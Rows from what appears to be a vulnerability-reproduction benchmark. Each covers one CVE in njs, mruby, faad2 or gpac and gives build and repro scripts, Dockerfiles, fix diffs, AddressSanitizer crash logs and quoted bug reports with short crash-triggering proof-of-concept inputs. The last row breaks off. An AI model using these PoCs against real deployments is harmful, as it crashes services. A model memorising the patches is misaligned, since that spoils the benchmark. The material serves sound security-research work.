#0 0x4cac48 in njs_lvlhsh_bucket_find /home/q1iq/Documents/origin/njs/src/njs_lvlhsh.c:231:17
#1 0x4cac48 in njs_lvlhsh_find /home/q1iq/Documents/origin/njs/src/njs_lvlhsh.c:181:20
#2 0x516c4f in njs_object_property /home/q1iq/Documents/origin/njs/src/njs_object_prop.c:59:15
#3 0x4d5963 in njs_value_to_primitive /home/q1iq/Documents/origin/njs/src/njs_value.c:159:19
#4 0x4fb3ab in njs_value_to_number /home/q1iq/Documents/origin/njs/src/njs_value_conversion.h:18:15
#5 0x4fb3ab in njs_value_to_numeric /home/q1iq/Documents/origin/njs/src/njs_value_conversion.h:54:11
#6 0x4fb3ab in njs_string_from_char_code /home/q1iq/Documents/origin/njs/src/njs_string.c:2036:19
#7 0x53bf9c in njs_function_native_call /home/q1iq/Documents/origin/njs/src/njs_function.c:739:11
#8 0x4e47fa in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs/src/njs_vmcode.c:785:23
#9 0x53b43a in njs_function_lambda_call /home/q1iq/Documents/origin/njs/src/njs_function.c:703:11
#10 0x4e47fa in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs/src/njs_vmcode.c:785:23
#11 0x4deb7b in njs_vm_start /home/q1iq/Documents/origin/njs/src/njs_vm.c:493:11
#12 0x4c8099 in njs_process_script /home/q1iq/Documents/origin/njs/src/njs_shell.c:903:19
#13 0x4c7484 in njs_process_file /home/q1iq/Documents/origin/njs/src/njs_shell.c:632:11
#14 0x4c7484 in main /home/q1iq/Documents/origin/njs/src/njs_shell.c:316:15
#15 0x7f4beb9e10b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#16 0x41dabd in _start (/home/q1iq/Documents/origin/njs/build/njs+0x41dabd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs/src/njs_lvlhsh.c:231:17 in njs_lvlhsh_bucket_find
==2064577==ABORTING | ================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/nginx/njs/issues/467
## Description:
Issue: nginx/njs#467
Title: SEGV njs_lvlhsh.c:231:17 in njs_lvlhsh_bucket_find
State: closed
Created by: Q1IQ
Created at: 2022-02-15 08:25:51+00:00
Labels: bug, fuzzer
Issue Body:
### Environment
```
OS : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit : 7bd570b39297d3d91902c93a624c89b08be7a6fe
Version : 0.7.2
Build :
NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
```
### Proof of concept
```
function f2(v) {
Object.prototype.toString = v;
}
Object.prototype.toString = f2;
function f() {
"includes"[{}]();
}
new Promise(f);
String.fromCharCode(0,parseInt);
```
### Stack dump
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2064577==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004cac48 bp 0x7ffcc1edfbf0 sp 0x7ffcc1edfbb0 T0)
==2064577==The signal is caused by a READ memory access.
==2064577==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
#0 0x4cac48 in njs_lvlhsh_bucket_find /home/q1iq/Documents/origin/njs/src/njs_lvlhsh.c:231:17
#1 0x4cac48 in njs_lvlhsh_find /home/q1iq/Documents/origin/njs/src/njs_lvlhsh.c:181:20
#2 0x516c4f in njs_object_property /home/q1iq/Documents/origin/njs/src/njs_object_prop.c:59:15
#3 0x4d5963 in njs_value_to_primitive /home/q1iq/Documents/origin/njs/src/njs_value.c:159:19
#4 0x4fb3ab in njs_value_to_number /home/q1iq/Documents/origin/njs/src/njs_value_conversion.h:18:15
#5 0x4fb3ab in njs_value_to_numeric /home/q1iq/Documents/origin/njs/src/njs_value_conversion.h:54:11
#6 0x4fb3ab in njs_string_from_char_code /home/q1iq/Documents/origin/njs/src/njs_string.c:2036:19
#7 0x53bf9c in njs_function_native_call /home/q1iq/Documents/origin/njs/src/njs_function.c:739:11
#8 0x4e47fa in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs/src/njs_vmcode.c:785:23
#9 0x53b43a in njs_function_lambda_call /home/q1iq/Documents/origin/njs/src/njs_function.c:703:11
#10 0x4e47fa in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs/src/njs_vmcode.c:785:23
#11 0x4deb7b in njs_vm_start /home/q1iq/Documents/origin/njs/src/njs_vm.c:493:11
#12 0x4c8099 in njs_process_script /home/q1iq/Documents/origin/njs/src/njs_shell.c:903:19
#13 0x4c7484 in njs_process_file /home/q1iq/Documents/origin/njs/src/njs_shell.c:632:11
#14 0x4c7484 in main /home/q1iq/Documents/origin/njs/src/njs_shell.c:316:15
#15 0x7f4beb9e10b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#16 0x41dabd in _start (/home/q1iq/Documents/origin/njs/build/njs+0x41dabd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs/src/njs_lvlhsh.c:231:17 in njs_lvlhsh_bucket_find
==2064577==ABORTING
```
### Credit
Q1IQ(@Q1IQ) |
mruby.cve-2022-1201 | mruby/mruby | mruby | c++ | /src/mruby | address | NULL Pointer Dereference in mrb_vm_exec with super in GitHub repository mruby/mruby prior to 3.2. This vulnerability is capable of making the mruby interpreter crash, thus affecting the availability of the system. | d1f1b4ea38cd5a2a9d0b2aa3547d4f2828180299 | #!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
cd /src/mruby
export LD=$CC
export LDFLAGS="$CFLAGS"
rake -m | #!/bin/bash
build() {
echo "BUILDING THE PROJECT..."
if /usr/local/bin/compile 1>/dev/null; then
echo "BUILD COMPLETED SUCCESSFULLY!"
else
echo "BUILD FAILED!"
exit 1
fi
}
repro() {
echo "REPRODUCING THE ISSUE FOR mruby.cve-2022-1201..."
# Navigate to the mruby directory
cd /src/mruby
# Run the PoC to trigger the vulnerability
./bin/mruby /testcase/PoC.js
# The above command should trigger the AddressSanitizer error as described in the vulnerability report.
}
patch() {
echo "PATCHING THE PROJECT..."
cd /src/mruby
if git apply /testcase/model_patch.diff; then
echo "PATCH APPLIED SUCCESSFULLY!"
else
echo "PATCH APPLICATION FAILED!"
exit 1
fi
}
if [ "$#" -ge 1 ]; then
command="$1"
case "$command" in
build)
build "$@"
;;
repro)
repro "$@"
;;
patch)
patch "$@"
;;
*)
echo "Unknown command: $command"
echo "Usage: secb [build|repro|patch]"
exit 1
;;
esac
else
echo "Usage: secb [build|repro|patch]"
exit 1
fi | FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential ruby bison ninja-build cmake zlib1g-dev libbz2-dev liblzma-dev
RUN git clone https://github.com/mruby/mruby mruby
RUN git -C mruby checkout d1f1b4ea38cd5a2a9d0b2aa3547d4f2828180299
WORKDIR $SRC/mruby
COPY build.sh $SRC/ | diff --git a/src/vm.c b/src/vm.c
index 77edbb38f..3bb9510ec 100644
--- a/src/vm.c
+++ b/src/vm.c
@@ -1749,7 +1749,7 @@ RETRY_TRY_BLOCK:
}
else if (target_class->tt == MRB_TT_MODULE) {
target_class = mrb_vm_ci_target_class(ci);
- if (target_class->tt != MRB_TT_ICLASS) {
+ if (!target_class || target_class->tt != MRB_TT_ICLASS) {
goto super_typeerror;
}
}
| 1 | ==19163==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc 0x55bde3b4162d bp 0x7ffcbe8d7ab0 sp 0x7ffcbe8d63c0 T0) ==19163==The signal is caused by a READ memory access. ==19163==Hint: address points to the zero page. #0 0x55bde3b4162c in mrb_vm_exec /home/xxx/mruby/src/vm.c:1752 #1 0x55bde3b31512 in mrb_vm_run /home/xxx/mruby/src/vm.c:1131 #2 0x55bde3b7b219 in mrb_run /home/xxx/mruby/src/vm.c:3034 #3 0x55bde3b2fbc9 in mrb_yield_with_class /home/xxx/mruby/src/vm.c:879 #4 0x55bde3b0b521 in mrb_mod_initialize /home/xxx/mruby/src/class.c:1648 #5 0x55bde3b3fb19 in mrb_vm_exec /home/xxx/mruby/src/vm.c:1640 #6 0x55bde3b31512 in mrb_vm_run /home/xxx/mruby/src/vm.c:1131 #7 0x55bde3b7b42b in mrb_top_run /home/xxx/mruby/src/vm.c:3047 #8 0x55bde3bedb2a in mrb_load_exec mrbgems/mruby-compiler/core/parse.y:6890 #9 0x55bde3bede42 in mrb_load_detect_file_cxt mrbgems/mruby-compiler/core/parse.y:6933 #10 0x55bde3afc128 in main /home/xxx/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:357 #11 0x7f98eb47ec86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86) #12 0x55bde3af9339 in _start (/home/xxx/mruby/bin/mruby+0xc2339)
AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/xxx/mruby/src/vm.c:1752 in mrb_vm_exec ==19163==ABORTING | ================= Bug Report (1/1) ==================
## Source: Huntr
## URL: https://huntr.dev/bounties/6f930add-c9d8-4870-ae56-d4bd8354703b
## Description:
Description
NULL Pointer Dereference in mrb_vm_exec with super
Proof of Concept
o13 = Comparable.initialize(){||0x7f.instance_eval() do super rescue caller (0..1).sort_by() do break end end } // PoC.js ./mruby 1.rb
#Result ASAN:DEADLYSIGNAL ================================================================= ==19163==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc 0x55bde3b4162d bp 0x7ffcbe8d7ab0 sp 0x7ffcbe8d63c0 T0) ==19163==The signal is caused by a READ memory access. ==19163==Hint: address points to the zero page. #0 0x55bde3b4162c in mrb_vm_exec /home/xxx/mruby/src/vm.c:1752 #1 0x55bde3b31512 in mrb_vm_run /home/xxx/mruby/src/vm.c:1131 #2 0x55bde3b7b219 in mrb_run /home/xxx/mruby/src/vm.c:3034 #3 0x55bde3b2fbc9 in mrb_yield_with_class /home/xxx/mruby/src/vm.c:879 #4 0x55bde3b0b521 in mrb_mod_initialize /home/xxx/mruby/src/class.c:1648 #5 0x55bde3b3fb19 in mrb_vm_exec /home/xxx/mruby/src/vm.c:1640 #6 0x55bde3b31512 in mrb_vm_run /home/xxx/mruby/src/vm.c:1131 #7 0x55bde3b7b42b in mrb_top_run /home/xxx/mruby/src/vm.c:3047 #8 0x55bde3bedb2a in mrb_load_exec mrbgems/mruby-compiler/core/parse.y:6890 #9 0x55bde3bede42 in mrb_load_detect_file_cxt mrbgems/mruby-compiler/core/parse.y:6933 #10 0x55bde3afc128 in main /home/xxx/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:357 #11 0x7f98eb47ec86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86) #12 0x55bde3af9339 in _start (/home/xxx/mruby/bin/mruby+0xc2339)
AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/xxx/mruby/src/vm.c:1752 in mrb_vm_exec ==19163==ABORTING
Impact
This vulnerability is capable of making the mruby interpreter crash, thus affecting the availability of the system. |
faad2.cve-2018-20198 | knik0/faad2 | faad2 | c++ | /src/faad2 | address | A NULL pointer dereference was discovered in ifilter_bank of libfaad/filtbank.c in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. The vulnerability causes a segmentation fault and application crash, which leads to denial of service because adding to windowed output is mishandled in the LONG_START_SEQUENCE case. | 334e7647a5f31903aca33dde39bb8683e9d8cccd | #!/bin/bash
# Check if bootstrap script exists and is executable
if [ -f ./bootstrap ]; then
chmod +x ./bootstrap
./bootstrap
fi
# Set compiler flags
export CFLAGS="$CFLAGS"
export CXXFLAGS="$CXXFLAGS"
# Run configure script
./configure
# Build the project using all available processors
make -j$(nproc) | #!/bin/bash
build() {
echo "BUILDING THE PROJECT..."
if /usr/local/bin/compile 1>/dev/null; then
echo "BUILD COMPLETED SUCCESSFULLY!"
else
echo "BUILD FAILED!"
exit 1
fi
}
repro() {
echo "REPRODUCING THE ISSUE FOR faad2.cve-2018-20198..."
# TODO: Add commands to trigger the specific vulnerability
# For now, it's a placeholder.
/src/faad2/frontend/faad /testcase/002-null-point-filtbank_246 -o /dev/null
# NOTE: YOU SHOULD NOT RETURN/EXIT 0 IN THIS FUNCTION.
# Example: /out/fuzzer /testcase/poc_file
}
patch() {
echo "PATCHING THE PROJECT..."
cd /src/faad2
if git apply /testcase/model_patch.diff; then
echo "PATCH APPLIED SUCCESSFULLY!"
else
echo "PATCH APPLICATION FAILED!"
exit 1
fi
}
if [ "$#" -ge 1 ]; then
command="$1"
case "$command" in
build)
build "$@"
;;
repro)
repro "$@"
;;
patch)
patch "$@"
;;
*)
echo "Unknown command: $command"
echo "Usage: secb [build|repro|patch]"
exit 1
;;
esac
else
echo "Usage: secb [build|repro|patch]"
exit 1
fi | FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool
RUN git clone https://github.com/knik0/faad2 faad2
RUN git -C faad2 checkout 334e7647a5f31903aca33dde39bb8683e9d8cccd
WORKDIR $SRC/faad2
COPY build.sh $SRC/ | diff --git a/libfaad/syntax.c b/libfaad/syntax.c
index f8e808c..e7fb113 100644
--- a/libfaad/syntax.c
+++ b/libfaad/syntax.c
@@ -395,6 +401,12 @@ static void decode_cpe(NeAACDecStruct *hDecoder, NeAACDecFrameInfo *hInfo, bitfi
return;
}
+ if (hDecoder->frame && hDecoder->element_id[hDecoder->fr_ch_ele] != id_syn_ele) {
+ /* element inconsistency */
+ hInfo->error = 21;
+ return;
+ }
+
/* save the syntax element id */
hDecoder->element_id[hDecoder->fr_ch_ele] = id_syn_ele;
| 0 | ==7062==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fe67b9599f6 bp 0x7fff60c60600 sp 0x7fff60c5e510 T0)
#0 0x7fe67b9599f5 in ifilter_bank /root/faad2_asan/libfaad/filtbank.c:246
#1 0x7fe67b99519d in reconstruct_channel_pair /root/faad2_asan/libfaad/specrec.c:1258
#2 0x7fe67b99b823 in channel_pair_element /root/faad2_asan/libfaad/syntax.c:759
#3 0x7fe67b999cbf in decode_cpe /root/faad2_asan/libfaad/syntax.c:402
#4 0x7fe67b99a398 in raw_data_block /root/faad2_asan/libfaad/syntax.c:448
#5 0x7fe67b9549c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#6 0x7fe67b954566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#7 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#8 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#9 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#10 0x7fe67b58c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#11 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/faad2_asan/libfaad/filtbank.c:246 ifilter_bank
==7062==ABORTING | ================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/knik0/faad2/issues/23
## Description:
Issue: knik0/faad2#23
Title: Null pointer dereference vulnerability in ifilter_bank(libfaad/filtbank.c:246)
State: closed
Created by: fantasy7082
Created at: 2018-12-17 06:17:36+00:00
Issue Body:
Hi, i found a null pointer dereference bug in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. It crashed in function ifilter_bank.the details are below(ASAN):
```
./faad faad_res/002-null-point-filtbank_246 -o out.wav
*********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ******************
Build: Dec 13 2018
Copyright 2002-2004: Ahead Software AG
http://www.audiocoding.com
bug tracking: https://sourceforge.net/p/faac/bugs/
Floating point version
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License.
**************************************************************************
faad_res/002-null-point-filtbank_246 file info:
ADTS, 0.043 sec, 37 kbps, 48000 Hz
---------------------
| Config: 3 Ch |
---------------------
| Ch | Position |
---------------------
| 00 | Left front |
| 01 | Right front |
| 02 | Unknown |
---------------------
ASAN:SIGSEGV faad_res/002-null-point-filtbank_246.
=================================================================
==7062==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fe67b9599f6 bp 0x7fff60c60600 sp 0x7fff60c5e510 T0)
#0 0x7fe67b9599f5 in ifilter_bank /root/faad2_asan/libfaad/filtbank.c:246
#1 0x7fe67b99519d in reconstruct_channel_pair /root/faad2_asan/libfaad/specrec.c:1258
#2 0x7fe67b99b823 in channel_pair_element /root/faad2_asan/libfaad/syntax.c:759
#3 0x7fe67b999cbf in decode_cpe /root/faad2_asan/libfaad/syntax.c:402
#4 0x7fe67b99a398 in raw_data_block /root/faad2_asan/libfaad/syntax.c:448
#5 0x7fe67b9549c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#6 0x7fe67b954566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#7 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#8 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#9 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#10 0x7fe67b58c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#11 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/faad2_asan/libfaad/filtbank.c:246 ifilter_bank
==7062==ABORTING
```
POC FILE:https://github.com/fantasy7082/image_test/blob/master/002-null-point-filtbank_246 |
mruby.cve-2022-1427 | mruby/mruby | mruby | c++ | /src/mruby | address | Out-of-bounds Read in mrb_obj_is_kind_of in in GitHub repository mruby/mruby prior to 3.2. # Impact: Possible arbitrary code execution if being exploited. | bdc244e9b035c608e3aeb1cb3440c47c2a5d61e6 | #!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
cd /src/mruby
export LD=clang
export LDFLAGS="$CFLAGS -fsanitize=address"
rake -m | #!/bin/bash
build() {
echo "BUILDING THE PROJECT..."
if /usr/local/bin/compile 1>/dev/null; then
echo "BUILD COMPLETED SUCCESSFULLY!"
else
echo "BUILD FAILED!"
exit 1
fi
}
repro() {
echo "REPRODUCING THE ISSUE FOR mruby.cve-2022-1427..."
/src/mruby/bin/mruby /testcase/poc.rb
# NOTE: YOU SHOULD NOT RETURN/EXIT 0 IN THIS FUNCTION.
# Example: /out/fuzzer /testcase/poc_file
}
patch() {
echo "PATCHING THE PROJECT..."
cd /src/mruby
if git apply /testcase/model_patch.diff; then
echo "PATCH APPLIED SUCCESSFULLY!"
else
echo "PATCH APPLICATION FAILED!"
exit 1
fi
}
if [ "$#" -ge 1 ]; then
command="$1"
case "$command" in
build)
build "$@"
;;
repro)
repro "$@"
;;
patch)
patch "$@"
;;
*)
echo "Unknown command: $command"
echo "Usage: secb [build|repro|patch]"
exit 1
;;
esac
else
echo "Usage: secb [build|repro|patch]"
exit 1
fi | FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential ruby bison ninja-build cmake zlib1g-dev libbz2-dev liblzma-dev
RUN git clone https://github.com/mruby/mruby mruby
RUN git -C mruby checkout bdc244e9b035c608e3aeb1cb3440c47c2a5d61e6
WORKDIR $SRC/mruby
COPY build.sh $SRC/ | diff --git a/src/vm.c b/src/vm.c
index 5013c877d..aa043b06a 100644
--- a/src/vm.c
+++ b/src/vm.c
@@ -1750,10 +1750,7 @@ RETRY_TRY_BLOCK:
mrb_exc_set(mrb, exc);
goto L_RAISE;
}
- if (target_class->flags & MRB_FL_CLASS_IS_PREPENDED) {
- target_class = mrb_vm_ci_target_class(ci);
- }
- else if (target_class->tt == MRB_TT_MODULE) {
+ if ((target_class->flags & MRB_FL_CLASS_IS_PREPENDED) || target_class->tt == MRB_TT_MODULE) {
target_class = mrb_vm_ci_target_class(ci);
if (!target_class || target_class->tt != MRB_TT_ICLASS) {
goto super_typeerror;
| 1 | ==38614==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc 0x000000597d2e bp 0x7ffc22840e70 sp 0x7ffc22840ce0 T0)
==38614==The signal is caused by a READ memory access.
==38614==Hint: address points to the zero page.
#0 0x597d2e in mrb_obj_is_kind_of /root/mruby/mruby/src/object.c:468:14
#1 0x619263 in mrb_vm_exec /root/mruby/mruby/src/vm.c:1763:12
#2 0x6055da in mrb_vm_run /root/mruby/mruby/src/vm.c:1132:12
#3 0x5fd9c0 in mrb_run /root/mruby/mruby/src/vm.c:3048:10
#4 0x603853 in mrb_yield_with_class /root/mruby/mruby/src/vm.c:880:11
#5 0x54a762 in mrb_mod_initialize /root/mruby/mruby/src/class.c:1649:5
#6 0x616995 in mrb_vm_exec /root/mruby/mruby/src/vm.c:1646:18
#7 0x6055da in mrb_vm_run /root/mruby/mruby/src/vm.c:1132:12
#8 0x5ff8b9 in mrb_top_run /root/mruby/mruby/src/vm.c:3061:12
#9 0x69b76b in mrb_load_exec /root/mruby/mruby/mrbgems/mruby-compiler/core/parse.y:6891:7
#10 0x69cb0b in mrb_load_detect_file_cxt /root/mruby/mruby/mrbgems/mruby-compiler/core/parse.y:6934:12
#11 0x50c5bf in main /root/mruby/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:357:11
#12 0x7fa4263330b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#13 0x41d84d in _start (/root/mruby/mruby/bin/mruby+0x41d84d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/mruby/mruby/src/object.c:468:14 in mrb_obj_is_kind_of
==38614==ABORTING | ================= Bug Report (1/1) ==================
## Source: Huntr
## URL: https://huntr.dev/bounties/23b6f0a9-64f5-421e-a55f-b5b7a671f301
## Description:
Out-of-bounds Read in mrb_obj_is_kind_of in mruby/mruby
Affected commit
791635a8d1ad9aad98aae0a36a91e092e4d71944
Proof of Concept
Math.initialize() do $4
prepend dup
4.instance_exec(){|| super() }
end
Below is the output from mruby ASAN build:
AddressSanitizer:DEADLYSIGNAL
=================================================================
==38614==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc 0x000000597d2e bp 0x7ffc22840e70 sp 0x7ffc22840ce0 T0)
==38614==The signal is caused by a READ memory access.
==38614==Hint: address points to the zero page.
#0 0x597d2e in mrb_obj_is_kind_of /root/mruby/mruby/src/object.c:468:14
#1 0x619263 in mrb_vm_exec /root/mruby/mruby/src/vm.c:1763:12
#2 0x6055da in mrb_vm_run /root/mruby/mruby/src/vm.c:1132:12
#3 0x5fd9c0 in mrb_run /root/mruby/mruby/src/vm.c:3048:10
#4 0x603853 in mrb_yield_with_class /root/mruby/mruby/src/vm.c:880:11
#5 0x54a762 in mrb_mod_initialize /root/mruby/mruby/src/class.c:1649:5
#6 0x616995 in mrb_vm_exec /root/mruby/mruby/src/vm.c:1646:18
#7 0x6055da in mrb_vm_run /root/mruby/mruby/src/vm.c:1132:12
#8 0x5ff8b9 in mrb_top_run /root/mruby/mruby/src/vm.c:3061:12
#9 0x69b76b in mrb_load_exec /root/mruby/mruby/mrbgems/mruby-compiler/core/parse.y:6891:7
#10 0x69cb0b in mrb_load_detect_file_cxt /root/mruby/mruby/mrbgems/mruby-compiler/core/parse.y:6934:12
#11 0x50c5bf in main /root/mruby/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:357:11
#12 0x7fa4263330b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#13 0x41d84d in _start (/root/mruby/mruby/bin/mruby+0x41d84d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/mruby/mruby/src/object.c:468:14 in mrb_obj_is_kind_of
==38614==ABORTING
Test Platform:
Ubuntu 18.04
Impact:
Possible arbitrary code execution if being exploited.
Acknowledgements
This bug was found by Ken Wong(@wwkenwong) from Black Bauhinia(@blackb6a) and Alex Cheung
Impact
Impact:
Possible arbitrary code execution if being exploited. |
gpac.cve-2023-48013 | gpac/gpac | gpac | c++ | /src/gpac | address | GPAC v2.3-DEV-rev566-g50c2ab06f-master was discovered to contain a double free via the gf_filterpacket_del function at /gpac/src/filter_core/filter.c. | c70f49dda4946d6db6aa55588f6a756b76bd84ea | #!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}"
make -j$(nproc) | #!/bin/bash
build() {
echo "BUILDING THE PROJECT..."
if /usr/local/bin/compile 1>/dev/null; then
echo "BUILD COMPLETED SUCCESSFULLY!"
else
echo "BUILD FAILED!"
exit 1
fi
}
repro() {
echo "REPRODUCING THE ISSUE FOR gpac.cve-2023-48013..."
/src/gpac/bin/gcc/MP4Box -dash 10000 /testcase/poc
# NOTE: YOU SHOULD NOT RETURN/EXIT 0 IN THIS FUNCTION.
}
patch() {
echo "PATCHING THE PROJECT..."
cd /src/gpac
if git apply /testcase/model_patch.diff; then
echo "PATCH APPLIED SUCCESSFULLY!"
else
echo "PATCH APPLICATION FAILED!"
exit 1
fi
}
if [ "$#" -ge 1 ]; then
command="$1"
case "$command" in
build)
build "$@"
;;
repro)
repro "$@"
;;
patch)
patch "$@"
;;
*)
echo "Unknown command: $command"
echo "Usage: secb [build|repro|patch]"
exit 1
;;
esac
else
echo "Usage: secb [build|repro|patch]"
exit 1
fi | FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev
RUN git clone https://github.com/gpac/gpac gpac
RUN git -C gpac checkout c70f49dda4946d6db6aa55588f6a756b76bd84ea
WORKDIR $SRC/gpac
COPY build.sh $SRC/ | diff --git a/src/filters/isoffin_read_ch.c b/src/filters/isoffin_read_ch.c
index bd9640068..6e74ce8e3 100644
--- a/src/filters/isoffin_read_ch.c
+++ b/src/filters/isoffin_read_ch.c
@@ -395,6 +395,8 @@ void isor_reader_get_sample(ISOMChannel *ch)
if (ch->edit_sync_frame) {
ch->edit_sync_frame++;
if (ch->edit_sync_frame < ch->sample_num) {
+ ch->static_sample->alloc_size = 0;
+ ch->static_sample->dataLength = 0;
ch->sample = gf_isom_get_sample_ex(ch->owner->mov, ch->track, ch->edit_sync_frame, &sample_desc_index, ch->static_sample, &ch->sample_data_offset);
if (ch->sample) {
ch->sample->DTS = ch->sample_time;
| 1 | ==827317==ERROR: AddressSanitizer: attempting double-free on 0x619000015980 in thread T0:
#0 0x55e7797a5972 in free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f525cd97945 in gf_filterpacket_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:38:17
#2 0x7f525cd6a022 in gf_fq_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter_queue.c:105:33
#3 0x7f525cda14e5 in gf_filter_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:664:3
#4 0x7f525cd6ede9 in gf_fs_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:782:4
#5 0x7f525c6283f6 in gf_dasher_clean_inputs /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:164:3
#6 0x7f525c6283f6 in gf_dasher_del /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:173:2
#7 0x55e779809d2d in do_dash /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:4894:2
#8 0x55e7797fab6e in mp4box_main /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:6245:7
#9 0x7f525b629d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#10 0x7f525b629e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#11 0x55e779722dd4 in _start (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x82dd4) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
0x619000015980 is located 0 bytes inside of 1084-byte region [0x619000015980,0x619000015dbc)
freed by thread T0 here:
#0 0x55e7797a6046 in __interceptor_realloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x106046) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f525c4f7ab6 in Media_GetSample /home/user/fuzzing_gpac/gpac/src/isomedia/media.c:619:30
#2 0x7f525c45d7b3 in gf_isom_get_sample_ex /home/user/fuzzing_gpac/gpac/src/isomedia/isom_read.c:1975:6
#3 0x7f525d05a156 in isor_reader_get_sample /home/user/fuzzing_gpac/gpac/src/filters/isoffin_read_ch.c:398:19
#4 0x7f525d04d2d5 in isoffin_process /home/user/fuzzing_gpac/gpac/src/filters/isoffin_read.c:1486:5
#5 0x7f525cdafa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7
previously allocated by thread T0 here:
LLVMSymbolizer: error reading file: No such file or directory
#0 0x55e7797a6046 in __interceptor_realloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x106046) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f525cd00add in gf_filter_pck_expand /home/user/fuzzing_gpac/gpac/src/filter_core/filter_pck.c:1846:15
#2 0x7ffd05c3a8df ([stack]+0x328df)
SUMMARY: AddressSanitizer: double-free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) in free
==827317==ABORTING | ================= Bug Report (1/1) ==================
## Source: GitHub Issue
